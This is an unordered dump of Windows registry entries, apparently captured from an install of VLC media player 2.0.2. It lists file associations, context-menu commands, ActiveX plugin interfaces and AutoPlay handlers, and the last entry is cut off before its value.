[HKCR\VLC.3gp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.m4p\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\MiscStatus\1]
"(Default)" = "131473"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3ga" = "VLC.3ga"

[HKCR\VLC.it\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.cda\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.flv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4a\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4]
"(Default)" = "VLC media file (.mpeg4)"

[HKCR\VLC.mpeg1\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cue\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Product" = "VLC media player"

[HKCR\VLC.ogx\shell\Open]
"(Default)" = "Play"

[HKCR\.adts]
"(Default)" = "VLC.adts"

[HKCR\VLC.mxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\VLC.xa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VideoLAN.VLCPlugin.2]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp2" = ""

[HKCR\VLC.rec\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell]
"(Default)" = "Open"

[HKCR\VLC.mts\shell]
"(Default)" = "Open"

[HKCR\.bin]
"(Default)" = "VLC.bin"

[HKCR\VLC.m2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.tts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.bin\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rm\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gpp" = ""

[HKCR\VLC.amv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.dts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpa\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell]
"(Default)" = "Open"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpv2" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationName" = "VLC media player"

[HKCR\VLC.nuv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mts" = "VLC.mts"
".mtv" = "VLC.mtv"

[HKCR\Applications\vlc.exe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aif" = ""

[HKCR\VLC.669\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.a52]
"(Default)" = "VLC.a52"

[HKCR\VLC.mod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ts]
"(Default)" = "VLC media file (.ts)"

[HKCR\VLC.amr]
"(Default)" = "VLC media file (.amr)"

[HKCR\VLC.aiff\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CUE" = "VLC.cue"

[HKCR\VLC.m1v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.tod]
"(Default)" = "VLC.tod"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.3g2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpe\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ReinstallCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /Reinstall /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".divx" = ""
".w64" = ""

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\VLC.mid\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mpa]
"(Default)" = "VLC.mpa"

[HKCR\VLC.wv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.f4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.qcp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.a52\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rec\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogm\shell]
"(Default)" = "Open"

[HKCR\VLC.pls\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gp2\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2ts]
"(Default)" = "VLC media file (.m2ts)"

[HKCR\VLC.mts]
"(Default)" = "VLC media file (.mts)"

[HKCR\VLC.amr\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.rmvb]
"(Default)" = "VLC media file (.rmvb)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wmv" = ""

[HKCR\VLC.rec\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rec" = ""

[HKCR\VLC.voc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1]
"(Default)" = "VLC media file (.mp1)"

[HKCR\.w64]
"(Default)" = "VLC.w64"

[HKCR\.mlp]
"(Default)" = "VLC.mlp"

[HKCR\VLC.wmv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wma]
"(Default)" = "VLC media file (.wma)"

[HKCR\Applications\vlc.exe]
"(Default)" = ""

[HKCR\VLC.dts\shell]
"(Default)" = "Open"

[HKCR\VLC.m4a]
"(Default)" = "VLC media file (.m4a)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.spx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.nuv]
"(Default)" = "VLC.nuv"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".drc" = "VLC.drc"

[HKCR\VLC.OPENFolder\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.vro\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg2]
"(Default)" = "VLC media file (.mpeg2)"

[HKCR\VLC.rec]
"(Default)" = "VLC media file (.rec)"

[HKCR\VLC.qcp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogv]
"(Default)" = "VLC media file (.ogv)"

[HKCR\VLC.mtv\shell]
"(Default)" = "Open"

[HKCR\VLC.mp3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aif\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cda\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".avi" = "VLC.avi"

[HKCR\VLC.asx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt]
"(Default)" = "VLC media file (.adt)"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\VLC.mts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mod\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".f4v" = "VLC.f4v"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M4A" = ""

[HKCR\VLC.m2ts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlaySuperVideoCDMovieOnArrival]
"VLCPlaySVCDMovieOnArrival" = ""

[HKCR\VLC.wav\shell]
"(Default)" = "Open"

[HKCR\VLC.669\shell]
"(Default)" = "Open"

[HKCR\.mod]
"(Default)" = "VLC.mod"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4p" = ""

[HKCR\VLC.nsv]
"(Default)" = "VLC media file (.nsv)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4v" = ""

[HKCR\VLC.sdp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.spx]
"(Default)" = "VLC.spx"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".APE" = "VLC.ape"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.3gp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Action" = "Play VCD movie"

[HKCR\VLC.ogv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc]
"(Default)" = "VLC media file (.mpc)"

[HKCR\VLC.ram\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3ga\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv]
"(Default)" = "VLC media file (.mtv)"

[HKCR\VLC.wma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WAV" = ""

[HKCR\VLC.3g2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".voc" = "VLC.voc"
".ogv" = "VLC.ogv"

[HKCR\.m4a]
"(Default)" = "VLC.m4a"

[HKCR\VLC.mov\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv]
"(Default)" = "VLC media file (.wmv)"

[HKCR\VLC.bin\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeProgID" = "VLC.CDAudio"

[HKCR\VLC.rm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m4a\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vro\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.vlc]
"(Default)" = "VLC.vlc"

[HKCR\VLC.b4s\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mka\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp2v" = "VLC.mp2v"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.asx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3ga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ram" = "VLC.ram"

[HKCR\VLC.3gp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".webm" = "VLC.webm"

[HKCR\VLC.flv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.dv]
"(Default)" = "VLC.dv"

[HKCU\Software\Classes\.webm]
"VLC.backup" = "FirefoxHTML"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aifc" = "VLC.aifc"
".aiff" = "VLC.aiff"
".IT" = "VLC.it"

[HKCR\VLC.asx\shell]
"(Default)" = "Open"

[HKCR\VLC.aac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mpe]
"(Default)" = "VLC.mpe"

[HKCR\VLC.avi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vqf]
"(Default)" = "VLC.vqf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2ts" = ""

[HKCR\VLC.oma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m1v]
"(Default)" = "VLC media file (.m1v)"

[HKCR\VLC.mid\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2]
"(Default)" = "VLC media file (.mp2)"

[HKCR\VLC.ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rmi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls]
"(Default)" = "VLC media file (.pls)"

[HKCR\VLC.m4p\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.it]
"(Default)" = "VLC media file (.it)"

[HKCR\VLC.asf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m1v\shell]
"(Default)" = "Open"

[HKCR\VLC.cue\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf]
"(Default)" = "VLC media file (.mxf)"

[HKCR\VLC.vob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".sdp" = ""

[HKCR\VLC.webm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tta\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".S3M" = "VLC.s3m"

[HKCR\VLC.mpe\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.tod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".bin" = ""

[HKCR\VLC.mpe\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.snd\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv]
"(Default)" = "VLC media file (.nuv)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Action" = "Play video files"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amv" = ""

[HKCR\VLC.ogx]
"(Default)" = "VLC media file (.ogx)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rmvb" = ""

[HKCR\VLC.mp3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.rec\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aob" = ""

[HKCR\VLC.drc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.cue\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo]
"(Default)" = "VLC media file (.ifo)"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ogv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3g2]
"(Default)" = "VLC.3g2"

[HKCR\VLC.wav]
"(Default)" = "VLC media file (.wav)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ts\shell]
"(Default)" = "Open"

[HKCR\VLC.flv\shell]
"(Default)" = "Open"

[HKCR\.mpeg4]
"(Default)" = "VLC.mpeg4"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4" = ""

[HKCR\VLC.amv\shell\PlayWithVLC\command]
